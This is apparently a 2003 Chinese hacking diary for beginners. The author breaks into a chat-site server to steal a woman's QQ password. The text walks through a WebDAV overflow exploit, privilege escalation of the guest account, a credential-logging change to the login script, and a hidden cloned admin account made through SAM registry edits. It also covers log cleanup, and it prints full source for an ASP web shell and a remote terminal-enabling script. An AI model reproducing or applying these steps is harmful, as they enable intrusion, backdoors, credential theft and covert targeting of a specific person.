Nick name:oorin0(oo0o,Xrin0) Email:wt200@km169.net or oo0o@ynmail.com QQ:33353290 阅读人群:网络安全初学者 入侵日记一则 真不知道她现在过的怎么样,不过作为朋友,还是应该关心一下她的QQ上到底有哪些色狼:P,所以决定盗她
的QQ密码.呵呵..好吧,现在切入正题,得到密码通常的方案有如下几种: 1.直接入侵腾讯服务器 (疯子) 2.在网吧安一个木马,再骗她去上网,呵呵...... (唉,好象她从来没有和我单独在一起过,明显讨厌我:) 由于普通用户的EMAIL.QQ.聊天室密码(包括江湖) 大多一样,或者有简易变形,而聊天室,江湖网络较 Tencent网络脆弱,因此,又可以有以下几种方案: 3.WEB破解邮箱密码 (她没有mail...) 4.网络欺骗,在自己的网站上安装聊天室,叫她来上网:) (可惜我没有网站) 5.通过对聊天室以及江湖服务器的攻击,来获得目标的密码.
看来现在只有入侵网站,目标锁定为 xajh.xxx.com c:\>Pinging xajh.xxx.com [192.168.0.1] with 32 bytes of da
Reply from 192.168.0.1: bytes=32 time=111ms TTL=125 Reply from 192.168.0.1: bytes=32 time=102ms TTL=125 Reply from 192.168.0.1: bytes=32 time=99ms TTL=125 Reply from 192.168.0.1: bytes=32 time=96ms TTL=125
Ping statistics for 192.168.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 96ms, Maximum = 111ms, Average = 102ms
//得到对方IP为 192.168.0.1 C:\>telnet 192.168.0.1 80 GET [Enter]
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Wed, 16 Apr 2003 11:18:38 GMT Content-Type: text/html Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body> </html>
失去了跟主机的连接。
原来是Windows 2000,恩,试试Webdavx漏洞,到www.xfocus.net 下了isno写的 Webdavx3.rar //Server: Microsoft-IIS/5.0 说明是windows 2000 如果是5.1 是xp ,4.0 是nt C:\>webdavx3 192.168.0.1 IIS WebDAV overflow remote exploit by isno@xfocus.org start to try offset, if STOP a long time, you can press ^C and telnet 192.168.0.1 7788 try offset: 0 try offset: 1 try offset: 2 try offset: 3 try offset: 4 try offset: 5 try offset: 6 try offset: 7 try offset: 8 try offset: 9 try offset: 10 try offset: 11 try offset: 12 try offset: 13 try offset: 14 try offset: 15 try offset: 16 try offset: 17 try offset: 18 try offset: 19 try offset: -1 try offset: -2 try offset: -3 waiting for iis restart....................... (IIS在这里重起了,等一会) try offset: -4
//程序运行到这里停顿下来了,再开一个CMD,
C:\>telnet 192.168.0.1 7788 192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [192.168.0.1] 7788 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) 版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32>net user guest /active:y //激活guest帐户 命令成功完成。
C:\WINNT\system32>net user guest password123 //设置guest帐户密码为password123 命令成功完成。
C:\WINNT\system32>net localgroup administrators guest /add //将guest帐户加到administrators组 命令成功完成。
看看3389开了没有 C:\>telnet 192.168.0.1 3389 GET [Enter] _ //看到了等待符,说明开了.
很好,用终端服务客户端连上对方计算机,打开"管理工具"->"计算机管理"->"服务和应用程序"->点
击"Internet 信息服务" ,发现系统长时间没有反应.. //在这里可以方便的知道对方WEB程序的物理路径 C:\>telnet 192.168.0.1 80 正在连接到192.168.0.1...不能打开到主机的连接, 在端口 80. 由于目标机器积极拒绝,无法连接。 //不能连接80端口,说明Webdavx溢出成功后,使IIS死掉了. 先不管它,打开"搜索",查找一切有"xajh"字样的文件. //找WEB程序物理路径的另一方法,除此以外还有命令行中的 dir/s 等 终于找到了,物理路径为d:\www\xajh\ .找到江湖的说明文件d:\www\xajh\说明文件.txt,发现江湖的数据库
为c:\www\xajh\h3cw\hc3w_xajh.asp,将其复制一个为 d:\www\xajh\error.mdb. 回到自己的机子上下载 http://xajh.xxx.com/error.mdb,打开一看,竟然只有1MB!? 看来被改过了,重新连接
192.168.0.1的终端服务,发现d:\www\xajh\h3cs\zjh595.asp这个文件有13.6MB ,应该是它了吧,于是复制为
d:\www\xajh\error1.mdb,然后回到自己的机子上下载http://xajh.xxx.com/error1.mdb 下载完后,应该马上删除http://xajh.xxx.com/error.mdb 和http://xajh.xxx.com/error1.mdb 以免引起网
管注意.打开一看,竟然没有给access数据库加密码,呵呵.....!!! 再一看,咦,怎么所有的用户的密码都这样
复杂~,查看d:\www\xajh\说明文件.txt 知道原来其用了MD5加密(现在的聊天室大多这样).由于暴力破解的困
难性,想到了使用嗅探器,但是嗅探器会占用大量带宽,还是容易引起有经验的管理员怀疑,于是决定使用WEB欺
骗,注意到刚才已经使IIS死了,需要重启IIS.//
c:\>net start w3svc 提示因未知原因服务不能启动
看来只有重新启动计算机了.这里需要考虑到重新启动后,3389是否会开启(通常情况下,IIS会自动启动,但是
终端服务可能会关闭) 法一: 打开"控制面板"->"管理工具"->"服务" 找到 "Terminal Services" 双击,将"启动类型"改为"自动" 找到 "World Wide Web Publishing" 双击,看是否为"自动" 若均为"自动" 重启计算机后,IIS和终端服务都会自动启动.
法二: 打开共享,具体请参看iqst的<<一份详尽的IPC$入侵资料>> c:\>net share 没有启动 Server 服务。
是否可以启动? (Y/N) [Y]: y Server 服务正在启动 . Server 服务已经启动成功。
共享名 资源 注释
----------------------------------------------------- IPC$ 远程 IPC D$ D:\ 默认共享 G$ G:\ 默认共享 F$ F:\ 默认共享 ADMIN$ D:\WINDOWS 远程管理 C$ C:\ 默认共享 E$ E:\ 默认共享
运用脚本打开终端服务,具体请参看caozhe(草哲)的<<一次简单的3389入侵过程>> c:\>cscript rots.vbe 192.168.0.1 guest "password123" 3389 /fr
等待几分钟后,系统重启...... 好了,现在回到正题,目标是江湖密码,但是它使用了md5加密,因此需要使用WEB欺骗,于是先用access建了一个
xajhlogo.mdb 数据库表为"用户密码",有三个段分别为"用户名","密码","oicq",然后修改为xajhlogo.gif.
自己的机子上开一ftp服务(可用tftp32) 在对方机子上 c:\>tftp -i 127.0.0.1 get xajhlogo.gif xajhlogo.gif //127.0.0.1为我的IP 然后复制到 c:\www\xajh\images\xajhlogo.gif //减小可能被管理员怀疑的危险系数
然后开始动手修改程序d:\www\xajh\check.asp 此文件为这个版本的江湖的校验文件.我修改后的内容如下 ......... name=Trim(Request("name")) password=Trim(Request("pass")) '上面是原来就有的 ......... Set conn=Server.CreateObject("ADODB.CONNECTION") Set rs=Server.CreateObject("ADODB.RecordSet") conn.open Application("sjjh_usermdb") password1=md5(password) sql="SELECT * FROM 用户 WHERE 姓名='"&name&"'" rs.open sql,conn,2,2 if rs.Eof and rs.Bof then rs.close set rs=nothing conn.close set conn=nothing Response.Redirect "error.asp?id=423" response.end end if if rs("密码")<>password1 then rs.close set rs=nothing conn.close set conn=nothing Response.Redirect "error.asp?id=141" response.end end if '这一段其实是我修改了原来的江湖程序直接粘在这儿的,懒~ 不过需要注意到这里要用"password1" 不然后
面'的密码验证的时候将成为 password=md5(md5(password)) ,这样就出错了.
useroicq=rs("oicq") rs.close set rs=nothing conn.close set conn=nothing
set conn=Server.CreateObject("ADODB.Connection") DBPath=Server.MapPath("images/xajhlogo.gif") Set rs=Server.CreateObject("ADODB.RecordSet") conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath rs.open "SELECT * FROM 用户密码 WHERE 用户名='" & name & "'",conn If not(Rs.Bof OR Rs.Eof) Then sql="Update 用户密码 Set 密码='" & password & "'" & "where 用户名='" & name & "'" conn.Execute sql rs.close set rs=nothing conn.close set conn=nothing else sql="Insert Into 用户密码 (用户名,密码,oicq) Values(" sql=sql & "'" & name & "'" & "," sql=sql & "'" & password & "'" & "," sql=sql & "'" & useroicq & "'" & ")" conn.Execute sql rs.close set rs=nothing conn.close set conn=nothing end if ............. '我上面加的程序都是在对方操作江湖数据库之前的,这样是为了防止同时操作两个数据库时出错 '下面就是对方第一段开始操作数据库的程序 '由于大家都是菜鸟,所以一点经验之谈就是,先在自己机子上测试好了,再传!!! Set conn=Server.CreateObject("ADODB.CONNECTION") Set rs=Server.CreateObject("ADODB.RecordSet") conn.open Application("sjjh_usermdb")
.........
至此,漫长的等待开始了............ 15 道数学题过后 ......... 现在激动人心的时刻到来了,下载 http://xajh.xxx.com/images/xajhlogo.gif. 改为 1.mdb 打开之后...........找到了她----- *** 的密码,哈哈,她的密码果然和QQ密码一样^O^
经过测试(前100个密码,实有1237个用户密码), 竟然有5个人的QQ密码和江湖密码一样(由于用户的QQ号可能
是乱填,因此可能更多,最好的办法,跟他们聊聊问问QQ号:D),对QQ密码的重视程度看来也不是很大,估计也没
有申请密码保护,试了试,有2个人没有申请,呵呵.........开心吧:)
至此,既高兴又伤心,高兴的是我得到了她的密码,伤心的是有N多的互联网用户对密码的重视程度或者密码安
全意识薄弱(有的密码很复杂,但是QQ密码和聊天室密码仍然一样),还好,我不是恋Q狂^-^
好,现在是后门,安一个cmd.asp 到 d:\www\xajh\images\config.asp. 代码见附录,可以通过http://xajh.xxx.com/images/config.asp 执行WEB命令
大家一定注意到我没有使用克隆的管理员帐号,是因为由于克隆的管理员帐员都使用了同样的profiles,因此
如果你不小心留了点什么记录(比如有些人喜欢在运行那打命令),那样会很容易引起管理员发现.因此慎用克
隆的管理员帐号,但还是应该建立一个隐藏的管理员帐号作为后门.
先建立 InternetUser$ 用户 c:\>net user InternetUser$ password123 /add //后面加$ 是为了使在 控制台下用 net user 看不到.
然后运行regedt32.exe(注意不是regedit.exe) 先找到HKEY_LOCAL_MAICHINE\SAM\SAM 点击它 ,然后在菜单"安全"->"权限" 添加自己现在登录的帐户或组,
把"权限"->"完全控制"->"允许"打上勾,然后确定. (比如刚才我们用guest登录,但它已经是administrators组的了,因此需要把ADMINISTRATORS组的也改为允许
完全控制,而且下面的键,Domains,account,user都要逐级这样做.但如果前面没有更改guest用户的默认组,这
里就没必要这么麻烦,一级一级的了)这样就可以直接读取本地sam的信息
现在运行regedit.exe 打开键 HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\InternetUser$ 查看默认键值为"0x3f1" 相应导出如下 HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\ASPNET$ 为InternetUser$.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1 为 3f1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 为 lf4.reg (Administrators的相应键) 用记事本打开lf4.reg 找到如下的"F"的值,比如这个例子中如下
"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\ f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\ 00,00,00,00,00,00,00
把其复制后,打开3f1.reg,找到"F"的值,将其删除,然后把上面的那段粘贴. 打开aspnet$.reg,把里面的内容,比如这个例子中如下面这段复制
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\InternetUser$] @=hex(3f1):
回到3f1.reg 粘贴上面这段到文件最后,最后生成的文件内容如下 Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003F1] "F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,20,97,b7,13,99,50,c2,01,ff,ff,ff,ff,ff,ff,ff,7f,40,6e,43,73,9f,50,c2,01,\ f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,00,00,01,00,00,00,00,\ 00,00,00,00,00,00,00 "V"=hex:00,00,00,00,d4,00,00,00,02,00,01,00,d4,00,00,00,1a,00,00,00,00,00,00,\ 00,f0,00,00,00,10,00,00,00,00,00,00,00,00,01,00,00,12,00,00,00,00,00,00,00,\ 14,01,00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,\ 01,00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,01,\ 00,00,00,00,00,00,00,00,00,00,14,01,00,00,00,00,00,00,00,00,00,00,14,01,00,\ 00,00,00,00,00,00,00,00,00,14,01,00,00,15,00,00,00,a8,00,00,00,2c,01,00,00,\ 08,00,00,00,01,00,00,00,34,01,00,00,14,00,00,00,00,00,00,00,48,01,00,00,14,\ 00,00,00,00,00,00,00,5c,01,00,00,04,00,00,00,00,00,00,00,60,01,00,00,04,00,\ 00,00,00,00,00,00,01,00,14,80,b4,00,00,00,c4,00,00,00,14,00,00,00,44,00,00,\ 00,02,00,30,00,02,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\ 00,00,00,00,02,c0,14,00,ff,07,0f,00,01,01,00,00,00,00,00,05,07,00,00,00,02,\ 00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,00,00,01,00,00,\ 00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,\ 00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,24,02,00,00,\ 00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,b4,b7,cd,22,dd,\ e8,e4,1c,be,04,3e,32,e8,03,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,\ 00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,48,00,65,00,6c,00,70,\ 00,41,00,73,00,73,00,69,00,73,00,74,00,61,00,6e,00,74,00,00,00,dc,8f,0b,7a,\ 4c,68,62,97,a9,52,4b,62,10,5e,37,62,d0,63,9b,4f,dc,8f,0b,7a,4f,53,a9,52,84,\ 76,10,5e,37,62,01,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\ ff,ff,ff,88,d7,f1,01,02,00,00,07,00,00,00,01,00,01,00,db,57,a2,94,f8,41,63,\ fa,2c,88,d7,f1,cd,99,cf,0d,01,00,01,00,a0,05,70,54,f3,45,3e,4a,64,95,ef,6c,\ 37,f1,02,cf,01,00,01,00,01,00,01,00
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\InternetUser$] @=hex(3f1):
保存后,将InternetUser$用户删除 c:\>net user InternetUser$ /delete 运行regedit.exe 将我们已经修改好的3f1.reg文件导入. 最后,打开regedt32.exe 找到HKEY_LOCAL_MAICHINE\SAM\SAM 点击它 ,然后在菜单"安全"->"权限" 删除刚才
添加的用户(比如刚才刚才是用的guest,而且改了Administrators组的设置,所以与前面对应,Administratos
组也要改,而且SAM下面的键,Domains,account,user都要逐级这样做,但如果前面没有改guest用户的默认组,
这里没必要这么麻烦,一级一级的了). 这样,我们就建立了一个在控制台用 net user 和"计算机管理"中都看不到的帐户InternetUser$,但是不能改
密码,一改密码就会在"计算机管理"中看到.需要注意的一点是,每次登录(不论是不是克隆的),都最好注销掉,
而不是直接关闭窗口,否则在"终端服务管理器"中会看到,而且管理员登录后注销时,可能会发现一个问题就是
,怎么会是"注销InternetUser$..."!!! (我克隆了两个帐号,测试的,没有测试过Administrators)
然后是记录清理,由于整个过程有下载的过程被记录,因此,运行logfiles,删除相关文件中的记录即可.
本人水平糟糕,一定有错误和遗漏的地方,这文都改了N次,所以望高手批评指正.
附录: -------------------------------------------------- 以下是asp后门,存为 cmd.asp <%@ Language=VBScript %> <%
Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile
On Error Resume Next
' -- create the COM objects that we will be using -- ' Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
' -- check for a command that we have posted -- ' szCMD = Request.Form(".CMD") If (szCMD <> "") Then
' -- Use a poor man's pipe ... a temp file -- ' szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%> <HTML> <BODY> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="Run"> </FORM> <PRE>
<% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %> </BODY> </HTML>
---------------------------------------------------------------------- 以下是开终端的脚本,引自caozhe(草哲) 的<<一次简单的3389入侵过程 >>,把它存为rots.vbe on error resume next set outstreem=wscript.stdout set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<3 then usage() wscript.echo "Not enough parameters." wscript.quit end if
ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) if wscript.arguments.count>3 then port=wscript.arguments(3) else port=3389 end if if not isnumeric(port) or port<1 or port>65000 then wscript.echo "The number of port is error." wscript.quit end if if wscript.arguments.count>4 then reboot=wscript.arguments(4) else reboot="" end if
usage() outstreem.write "Conneting "&ipaddress&" ...." set objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) showerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true
outstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") for each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then wscript.echo "OK!" else wscript.echo "OS type is "&objinstoscaption.caption outstreem.write "Do you want to cancel setup?[y/n]" strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if next
outstreem.write "Writing into registry ...." set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get
("stdregprov") HKLM=&h80000002 HKU=&h80000003 with objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" .setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" .setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 .setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-
Tcp","PortNumber",port end with showerror(err.number)
rebt=lcase(reboot) flag=0 if rebt="/r" or rebt="-r" or rebt="\r" then flag=2 if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 if flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances objinstance.win32shutdown(flag) next showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!"
function showerror(errornumber) if errornumber Then wscript.echo "Error 0x"&cstr(hex(err.number))&" ." if err.description <> "" then wscript.echo "Error description: "&err.description&"." end if wscript.quit else wscript.echo "OK!" end if end function
function usage() wscript.echo string(79,"*") wscript.echo "ROTS v1.05" wscript.echo "Remote Open Terminal services Script, by 草哲" wscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." wscript.echo "/r: auto reboot target." wscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf end function
root注:本文对于网络安全初学者而言,或许会有帮助,虽然采用的方法比较简单,但有助于了解攻击者的思路和方法流程,当然,不是鼓励大家这么干:)
|